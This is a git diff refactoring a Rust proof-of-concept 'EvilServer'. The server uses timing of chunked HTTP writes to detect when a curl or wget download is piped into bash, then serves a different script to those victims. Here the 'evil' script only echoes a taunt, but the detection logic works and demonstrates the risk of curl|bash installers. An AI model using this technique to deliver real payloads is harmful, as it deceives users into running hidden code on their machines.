diff --git a/src/main.rs b/src/main.rs index e0bd826..9fcbcf5 100644 --- a/src/main.rs +++ b/src/main.rs @@ -7,6 +7,9 @@ use std::time::Duration; // from https://gist.githubusercontent.com/mjohnsullivan/e5182707caf0a9dbdf2d/raw/c1a2f4c04bd4b4fd0cc9489612da7e11a8f16e7a/http_server.rs use std::cmp::Ordering; +use std::env; +use std::str::FromStr; +use std::sync::Arc; use std::thread; use std::time::Instant; @@ -17,25 +20,112 @@ bad: Variance = 0.00000015643485087709332, Maximum Jump = 0.0002735080000000001 */ -const MIN_VARIANCE: f64 = 0.1; -const MIN_JUMP: f64 = 1.0; // with python 0.1 - -const SOCKET_TIMEOUT: Option = Some(Duration::from_secs(10)); - const HTTP_SUCCESS_HEADERS: &[u8] = b"HTTP/1.1 200 OK\r Server: nginx\r Content-Type: text/plain; charset=us-ascii\r Transfer-Encoding: chunked\r Connection: keep-alive\r\n\r\n"; -const BUFFER_SIZE: u32 = 87380; +struct EvilServer { + min_variance: f64, + min_jump: f64, + socket_timeout: Option, + padding: Vec, + max_padding: u8, +} -const PADDING: &[u8; BUFFER_SIZE as usize] = &[0u8; BUFFER_SIZE as usize]; +unsafe impl Send for EvilServer {} -// Maximum number of blocks of padding - this -// shouldn't need to be adjusted but may need to be increased -// if its not working. -const MAX_PADDING: u8 = 32; +impl EvilServer { + fn new( + min_variance: f64, + min_jump: f64, + buffer_size: usize, + max_padding: u8, + secs: u64, + ) -> EvilServer { + EvilServer { + min_variance, + min_jump, + max_padding, + socket_timeout: match secs { + 0 => None, + x => Some(Duration::from_secs(x)), + }, + padding: vec![0u8; buffer_size], + } + } + + fn handle_client(&self, stream: TcpStream) -> std::io::Result { + stream.set_read_timeout(self.socket_timeout)?; + let curl_or_wget = handle_read(&stream); + if curl_or_wget.is_none() { + println!("HTTP request malformed"); + return Ok(0); + } + + stream.set_write_timeout(self.socket_timeout)?; + stream.set_nodelay(true)?; + + let wait = b"sleep 3\n"; + let good = b"echo \"Hello there :)\"\n"; + let evil = b"echo \"r00t1ng y0ur b0x0rs >:)\"\n"; + let end = b""; + + let mut stream = stream; + + stream.write(HTTP_SUCCESS_HEADERS)?; + + send_chunk(&stream, wait)?; + + if !curl_or_wget.unwrap() { + println!("curl/wget not detected, returning good"); + send_chunk(&stream, good)?; + return send_chunk(&stream, end); + } + + let mut timing = vec![0.0f64; self.max_padding as usize]; + let now = Instant::now(); + + for x in 0..self.max_padding { + send_chunk(&stream, &self.padding)?; + timing[x as usize] = now.elapsed().as_float_secs(); + } + + println!("timing {:?}", timing); + + let mut max_index = 0; + let mut max = -1.0; + for x in 0..(self.max_padding - 1) { + timing[x as usize] = timing[(x + 1) as usize] - timing[x as usize]; + // todo: remove this unwrap, maybe do away with floats? + if max.partial_cmp(&timing[x as usize]).unwrap() == Ordering::Less { + max_index = x as usize; + max = timing[max_index]; + } + } + // now set max_index to 0 so it doesn't calculate into mean() below + timing[max_index] = 0.0; + + println!("timing calc {:?}", timing); + println!("max {:?}", max); + println!("max_index {:?}", max_index); + + let variance = std_deviation(&timing, &max_index).powi(2); + + println!("Variance = {}, Maximum Jump = {}", variance, max); + + if variance > self.min_variance && max > self.min_jump { + println!("Execution through bash detected - sending bad payload :D"); + send_chunk(&stream, evil)?; + } else { + println!("Sending good payload :("); + send_chunk(&stream, good)?; + } + + send_chunk(&stream, end) + } +} fn handle_read(mut stream: &TcpStream) -> Option { let mut buf = [0u8; 1024]; @@ -58,76 +148,6 @@ fn send_chunk(mut stream: &TcpStream, response: &[u8]) -> std::io::Result stream.write(b"\r\n") } -fn handle_client(stream: TcpStream) -> std::io::Result { - stream.set_read_timeout(SOCKET_TIMEOUT)?; - let curl_or_wget = handle_read(&stream); - if curl_or_wget.is_none() { - println!("HTTP request malformed"); - return Ok(0); - } - - stream.set_write_timeout(SOCKET_TIMEOUT)?; - stream.set_nodelay(true)?; - - let wait = b"sleep 3\n"; - let good = b"echo \"Hello there :)\"\n"; - let evil = b"echo \"r00t1ng y0ur b0x0rs >:)\"\n"; - let end = b""; - - let mut stream = stream; - - stream.write(HTTP_SUCCESS_HEADERS)?; - - send_chunk(&stream, wait)?; - - if !curl_or_wget.unwrap() { - println!("curl/wget not detected, returning good"); - send_chunk(&stream, good)?; - return send_chunk(&stream, end); - } - - let mut timing: [f64; MAX_PADDING as usize] = [0.0; MAX_PADDING as usize]; - let now = Instant::now(); - - for x in 0..MAX_PADDING { - send_chunk(&stream, PADDING)?; - timing[x as usize] = now.elapsed().as_float_secs(); - } - - println!("timing {:?}", timing); - - let mut max_index = 0; - let mut max = -1.0; - for x in 0..(MAX_PADDING - 1) { - timing[x as usize] = timing[(x + 1) as usize] - timing[x as usize]; - // todo: remove this unwrap, maybe do away with floats? - if max.partial_cmp(&timing[x as usize]).unwrap() == Ordering::Less { - max_index = x as usize; - max = timing[max_index]; - } - } - // now set max_index to 0 so it doesn't calculate into mean() below - timing[max_index] = 0.0; - - println!("timing calc {:?}", timing); - println!("max {:?}", max); - println!("max_index {:?}", max_index); - - let variance = std_deviation(&timing, &max_index).powi(2); - - println!("Variance = {}, Maximum Jump = {}", variance, max); - - if variance > MIN_VARIANCE && max > MIN_JUMP { - println!("Execution through bash detected - sending bad payload :D"); - send_chunk(&stream, evil)?; - } else { - println!("Sending good payload :("); - send_chunk(&stream, good)?; - } - - send_chunk(&stream, end) -} - fn mean(data: &[f64], count: f64) -> f64 { let sum = data.iter().sum::(); sum / count @@ -147,29 +167,72 @@ fn std_deviation(data: &[f64], exclude_index: &usize) -> f64 { variance.sqrt() } -fn main() { - { - let data = [ - 0.00011777877807617188, - 0.0003631114959716797, - 0.0, - 8.797645568847656e-05, - ]; +struct Args<'a> { + args: &'a Vec, +} - let data_mean = mean(&data, (data.len() - 1) as f64); - println!("Mean is {:?}", data_mean); // 0.00018962224324544272 - - let data_std_deviation = std_deviation(&data, &2); - println!("Standard deviation is {:?}", data_std_deviation); // 0.00012327728964562268 +impl<'a> Args<'a> { + fn new(args: &'a Vec) -> Args { + Args { args } } + fn get_arg(&self, index: usize, def: &'a str) -> &'a str { + match self.args.get(index) { + Some(ret) => ret, + None => def, + } + } + fn get(&self, index: usize, def: T) -> T { + match self.args.get(index) { + Some(ret) => match ret.parse::() { + Ok(ret) => ret, + Err(_) => def, // or panic + }, + None => def, + } + } +} - let listener = TcpListener::bind("0.0.0.0:5555").unwrap(); - println!("Listening for connections on port {}", 5555); +fn main() { + let raw_args = env::args().collect(); + let args = Args::new(&raw_args); + if args.get_arg(1, "").contains("-h") { + println!( + "usage: {} [-h] [host, default: 127.0.0.1:5555]", + args.get_arg(0, "curl_bash") + ); + return; + } + let host = args.get_arg(1, "0.0.0.0:5555"); + + let evil_server = Arc::new(EvilServer::new( + args.get(2, 0.1), + args.get(3, 1.0), + args.get(4, 87380), + args.get(5, 32), + args.get(6, 10), + )); + + println!( + "min_variance: {}, min_jump: {}, socket_timeout: {:?}, buffer_size: {}, max_padding: {}", + evil_server.min_variance, + evil_server.min_jump, + evil_server.socket_timeout, + evil_server.padding.len(), + evil_server.max_padding + ); + + let listener = TcpListener::bind(&host).unwrap(); + println!("Listening for connections on {}", &host); for stream in listener.incoming() { match stream { Ok(stream) => { - thread::spawn(|| handle_client(stream).expect("error handling connection")); + let evil_server = evil_server.clone(); + thread::spawn(move || { + evil_server + .handle_client(stream) + .expect("error handling connection") + }); } Err(e) => { println!("Unable to connect: {}", e);